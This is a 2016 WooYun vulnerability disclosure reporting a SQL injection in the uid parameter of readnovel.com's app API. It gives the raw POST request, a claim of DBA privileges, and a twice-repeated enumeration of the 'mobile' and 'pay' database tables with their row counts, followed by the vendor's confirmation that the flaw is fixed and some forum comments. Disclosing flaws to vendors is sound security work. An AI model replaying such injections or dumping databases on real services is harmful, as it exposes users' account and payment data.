当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0196808

漏洞标题:APP安全之小说阅读网存在注入/DBA权限/193w会员/400w充值会员

相关厂商:readnovel.com

漏洞作者: 头晕脑壳疼

提交时间:2016-04-17 21:19

修复时间:2016-06-01 22:00

公开时间:2016-06-01 22:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-17: 细节已通知厂商并且等待厂商处理中
2016-04-17: 厂商已经确认,细节仅向厂商公开
2016-04-27: 细节向核心白帽子及相关领域专家公开
2016-05-07: 细节向普通白帽子公开
2016-05-17: 细节向实习白帽子公开
2016-06-01: 细节向公众公开

简要描述:

菜鸟找个洞不容易,有木有小礼品安慰下幼小的心灵

详细说明:

POST /web/user.php?a=start HTTP/1.1
Content-Length: 259
Content-Type: application/x-www-form-urlencoded
Host: opendata.readnovel.com
Connection: close
Expect: 100-continue
Accept-Encoding: gzip
uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981


参数uid存在注入

1.png


2.png


DBA权限

3.png


Database: mobile
+----------------------------------+---------+
| Table | Entries |
+----------------------------------+---------+
| mb_app_start_log | 150461124 |
| mb_app_old_start_log | 122048467 |
| mb_check_user_request_log | 25854070 |
| mb_app_installed_info | 19041406 |
| mb_app_actived_info | 16125949 |
| mb_client_start_info | 12811011 |
| mb_register_log | 6939841 |
| mb_app_ios_start_log | 4108988 |
| mb_app_new_reg_info | 3890537 |
| mb_app_physical_info_with_userid | 2989329 |
| mb_client_version_update_info | 2511576 |
| mb_client_user_info | 1938113 |
| mb_client_activate_info | 1031769 |
| mb_client_regist_info | 214775 |
| mb_app_opinion | 12029 |
| mb_app_heji_activity_mobile_info | 4100 |
| mb_youmi_socre_log | 3 |
+----------------------------------+---------+
Database: pay
+----------------------------------------------------+---------+
| Table | Entries |
+----------------------------------------------------+---------+
| pay_expend | 260995776 |
| pay_income | 199530613 |
| pay_order_xsb | 57812761 |
| pay_expend_xsb | 28683078 |
| pay_order_log | 19649659 |
| pay_order | 14709813 |
| pay_cooperation_expend | 8941246 |
| pay_user_month_expend | 4866019 |
| error_log | 4481903 |
| pay_user | 4461168 |
| pay_income_stat | 4266075 |
| pay_dianbo_order | 3809913 |
| pay_apk_dianbo_user_receive | 3010415 |
| pay_apk_dianbo_sure | 2809589 |
| pay_user_xsb | 2598395 |
| pay_order_mobile | 1872301 |
| pay_user_first_recharge | 1699918 |
| pay_user_recharge_info | 1676615 |
| pay_baoyue_order_info | 1585460 |
| pay_recharge_wap_no_ad_info | 1575265 |
| pay_order_sms | 1571787 |
| pay_user_first_expend | 1402451 |
| pay_bind_user_mobile | 1069356 |
| pay_wl_income | 1003416 |
| pay_sohu_mobile_log | 982244 |
| pay_baoyue_callback_info | 949125 |
| pay_360_recharge_order_log | 806716 |
| pay_tmp_special_user | 761072 |
| pay_sohu_baoyue_account_bill | 734456 |
| pay_android_score_recharge_order_log | 562154 |
| pay_sohu_mobile_msg | 526145 |
| pay_mobile_status | 451151 |
| pay_alipay_order | 440972 |
| pay_mobile_month | 439411 |
| pay_umpay_baoyue_order | 388195 |
| pay_baoyue_mobile_log | 354770 |
| pay_other_income_stat | 352700 |
| pay_app_send_ydb | 334278 |
| pay_baoyue_bind_mobile | 293173 |
| pay_unipay_order | 233476 |
| pay_shenzhoufu_card | 233306 |
| pay_order_game | 227495 |
| pay_360_recharge_sure_order_log | 204830 |
| pay_baoyue_mobile_msg | 196179 |
| pay_order_result | 186199 |
| pay_baoyue_mobile_month | 165382 |
| pay_wl_payment_term_remain | 162059 |
| admin_log | 126301 |
| pay_wechat_order | 121232 |
| pay_wl_final_paid | 119745 |
| pay_mission_expend | 113881 |
| pay_umpay_baoyue_mobile_month | 113531 |
| pay_umpay_baoyue_mobile_month_quit_log | 103726 |
| pay_wl_paid | 100950 |
| pay_ios_recharge_order_log | 87749 |
| pay_fhs_dianbo_order | 84988 |
| pay_user_send_expend | 84684 |
| money_request_log | 73094 |
| pay_ios_comment_send_ydb_log | 61629 |
| pay_income_tmp2 | 53710 |
| pay_cty_send_push | 49614 |
| pay_user_upgrade | 45004 |
| pay_baoyue_month | 42241 |
| pay_baoyue_user_log | 39472 |
| pay_wl_income_cost | 36905 |
| pay_money_request | 36893 |
| pay_virtual_card | 30100 |
| pay_you_yi_fu_op_lost_order | 28814 |
| pay_wireless_income | 28707 |
| pay_baoyue_user_info | 24820 |
| pay_order_month | 23413 |
| pay_card | 21015 |
| pay_wl_auhtor_paid_income | 17904 |
| pay_user_expend_send_gold | 12011 |
| activity_tianle | 10000 |
| pay_order_remittan | 8881 |
| pay_income_trigger_tmp | 8030 |
| pay_appstore_paid_sure | 7945 |
| pay_order_buy | 7926 |
| pay_user_baoyue | 7362 |
| pay_baoyue_auhtor_paid_income | 4005 |
| pay_order_buy_fence | 3727 |
| pay_expend_stat | 2572 |
| pay_youmi | 2221 |
| pay_user_coupons | 2211 |
| pay_wireless_paid | 1768 |
| pay_voiced_book_expend | 1751 |
| pay_tmp_shouji_vipsub_top | 1000 |
| pay_ios_score_virtual_card | 988 |
| pay_alipay_info | 750 |
| pay_deduction | 424 |
| pay_article_sell | 193 |
| pay_apk_send_ydb | 177 |
| pay_cty_receive_msg | 138 |
| pay_recharge_order_sure_log | 81 |
| pay_mobile_game_login_info | 78 |
| pay_app_consume_log | 68 |
| pay_tmp_article_sub | 50 |
| pay_channel_bulletin | 43 |
| pay_apk_authcode | 40 |
| pay_user_settinfo | 36 |
| pay_apk_authcode_get_ydb | 35 |
| pay_wl_remain_adjust | 35 |
| pay_wl_payment_term | 31 |
| pay_app_order | 24 |
| pay_dianbo_user_receive | 24 |
| pay_dianbo_user_send | 24 |
| pay_admins | 15 |
| pay_360_order | 13 |
| pay_baoyue_command_status | 10 |
| manhua_pay_income | 8 |
| pay_android_single_book_update_client_send_ydb_log | 5 |
| pay_ios_score_recharge_order_log | 3 |
+----------------------------------------------------+---------+

漏洞证明:

POST /web/user.php?a=start HTTP/1.1
Content-Length: 259
Content-Type: application/x-www-form-urlencoded
Host: opendata.readnovel.com
Connection: close
Expect: 100-continue
Accept-Encoding: gzip
uid=-1&screenpix=576981&model=GT-P5210&op=CMCC&articleid=+&versionname=4.3.0&active_code=20160415210654972601007SnS&system_release=4.2.2&imei=133524480508463&versioncode=145&srcid=test_only&ct=android&mac_address=&v=145&token=18bdacbf6c&pt=client&pix=576981


参数uid存在注入

1.png


2.png


DBA权限

3.png


Database: mobile
+----------------------------------+---------+
| Table | Entries |
+----------------------------------+---------+
| mb_app_start_log | 150461124 |
| mb_app_old_start_log | 122048467 |
| mb_check_user_request_log | 25854070 |
| mb_app_installed_info | 19041406 |
| mb_app_actived_info | 16125949 |
| mb_client_start_info | 12811011 |
| mb_register_log | 6939841 |
| mb_app_ios_start_log | 4108988 |
| mb_app_new_reg_info | 3890537 |
| mb_app_physical_info_with_userid | 2989329 |
| mb_client_version_update_info | 2511576 |
| mb_client_user_info | 1938113 |
| mb_client_activate_info | 1031769 |
| mb_client_regist_info | 214775 |
| mb_app_opinion | 12029 |
| mb_app_heji_activity_mobile_info | 4100 |
| mb_youmi_socre_log | 3 |
+----------------------------------+---------+
Database: pay
+----------------------------------------------------+---------+
| Table | Entries |
+----------------------------------------------------+---------+
| pay_expend | 260995776 |
| pay_income | 199530613 |
| pay_order_xsb | 57812761 |
| pay_expend_xsb | 28683078 |
| pay_order_log | 19649659 |
| pay_order | 14709813 |
| pay_cooperation_expend | 8941246 |
| pay_user_month_expend | 4866019 |
| error_log | 4481903 |
| pay_user | 4461168 |
| pay_income_stat | 4266075 |
| pay_dianbo_order | 3809913 |
| pay_apk_dianbo_user_receive | 3010415 |
| pay_apk_dianbo_sure | 2809589 |
| pay_user_xsb | 2598395 |
| pay_order_mobile | 1872301 |
| pay_user_first_recharge | 1699918 |
| pay_user_recharge_info | 1676615 |
| pay_baoyue_order_info | 1585460 |
| pay_recharge_wap_no_ad_info | 1575265 |
| pay_order_sms | 1571787 |
| pay_user_first_expend | 1402451 |
| pay_bind_user_mobile | 1069356 |
| pay_wl_income | 1003416 |
| pay_sohu_mobile_log | 982244 |
| pay_baoyue_callback_info | 949125 |
| pay_360_recharge_order_log | 806716 |
| pay_tmp_special_user | 761072 |
| pay_sohu_baoyue_account_bill | 734456 |
| pay_android_score_recharge_order_log | 562154 |
| pay_sohu_mobile_msg | 526145 |
| pay_mobile_status | 451151 |
| pay_alipay_order | 440972 |
| pay_mobile_month | 439411 |
| pay_umpay_baoyue_order | 388195 |
| pay_baoyue_mobile_log | 354770 |
| pay_other_income_stat | 352700 |
| pay_app_send_ydb | 334278 |
| pay_baoyue_bind_mobile | 293173 |
| pay_unipay_order | 233476 |
| pay_shenzhoufu_card | 233306 |
| pay_order_game | 227495 |
| pay_360_recharge_sure_order_log | 204830 |
| pay_baoyue_mobile_msg | 196179 |
| pay_order_result | 186199 |
| pay_baoyue_mobile_month | 165382 |
| pay_wl_payment_term_remain | 162059 |
| admin_log | 126301 |
| pay_wechat_order | 121232 |
| pay_wl_final_paid | 119745 |
| pay_mission_expend | 113881 |
| pay_umpay_baoyue_mobile_month | 113531 |
| pay_umpay_baoyue_mobile_month_quit_log | 103726 |
| pay_wl_paid | 100950 |
| pay_ios_recharge_order_log | 87749 |
| pay_fhs_dianbo_order | 84988 |
| pay_user_send_expend | 84684 |
| money_request_log | 73094 |
| pay_ios_comment_send_ydb_log | 61629 |
| pay_income_tmp2 | 53710 |
| pay_cty_send_push | 49614 |
| pay_user_upgrade | 45004 |
| pay_baoyue_month | 42241 |
| pay_baoyue_user_log | 39472 |
| pay_wl_income_cost | 36905 |
| pay_money_request | 36893 |
| pay_virtual_card | 30100 |
| pay_you_yi_fu_op_lost_order | 28814 |
| pay_wireless_income | 28707 |
| pay_baoyue_user_info | 24820 |
| pay_order_month | 23413 |
| pay_card | 21015 |
| pay_wl_auhtor_paid_income | 17904 |
| pay_user_expend_send_gold | 12011 |
| activity_tianle | 10000 |
| pay_order_remittan | 8881 |
| pay_income_trigger_tmp | 8030 |
| pay_appstore_paid_sure | 7945 |
| pay_order_buy | 7926 |
| pay_user_baoyue | 7362 |
| pay_baoyue_auhtor_paid_income | 4005 |
| pay_order_buy_fence | 3727 |
| pay_expend_stat | 2572 |
| pay_youmi | 2221 |
| pay_user_coupons | 2211 |
| pay_wireless_paid | 1768 |
| pay_voiced_book_expend | 1751 |
| pay_tmp_shouji_vipsub_top | 1000 |
| pay_ios_score_virtual_card | 988 |
| pay_alipay_info | 750 |
| pay_deduction | 424 |
| pay_article_sell | 193 |
| pay_apk_send_ydb | 177 |
| pay_cty_receive_msg | 138 |
| pay_recharge_order_sure_log | 81 |
| pay_mobile_game_login_info | 78 |
| pay_app_consume_log | 68 |
| pay_tmp_article_sub | 50 |
| pay_channel_bulletin | 43 |
| pay_apk_authcode | 40 |
| pay_user_settinfo | 36 |
| pay_apk_authcode_get_ydb | 35 |
| pay_wl_remain_adjust | 35 |
| pay_wl_payment_term | 31 |
| pay_app_order | 24 |
| pay_dianbo_user_receive | 24 |
| pay_dianbo_user_send | 24 |
| pay_admins | 15 |
| pay_360_order | 13 |
| pay_baoyue_command_status | 10 |
| manhua_pay_income | 8 |
| pay_android_single_book_update_client_send_ydb_log | 5 |
| pay_ios_score_recharge_order_log | 3 |
+----------------------------------------------------+---------+


修复方案:

版权声明:转载请注明来源 头晕脑壳疼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2016-04-17 21:52

厂商回复:

谢谢~ 漏洞已于昨天修复。想要礼物,请发邮件到 索取哦~

最新状态:

暂无


漏洞评价:

评价

  1. 2016-04-17 23:38 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业!)

    坐等公开,学习新姿势。

  2. 2016-04-18 09:45 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    ·小说阅读网 可否直接所要下联系方式 ?

  3. 2016-04-18 09:46 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    @小说阅读网 可否直接索要下联系方式?

  4. 2016-04-18 10:01 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业!)

    @头晕脑壳疼 大牛求交流

  5. 2016-04-18 10:36 | 头晕脑壳疼 ( 普通白帽子 | Rank:772 漏洞数:146 )

    @Freebug 没啥技术含量!普通的注入

  6. 2016-04-18 13:58 | 小说阅读网(乌云厂商)

    @头晕脑壳疼 security#readnovel.com

  7. 2016-04-20 13:51 | Freebug ( 普通白帽子 | Rank:106 漏洞数:39 | 流氓是一种高尚的职业!)

    @头晕脑壳疼 好吧,大牛说的太轻松了,尔等小菜无法理解。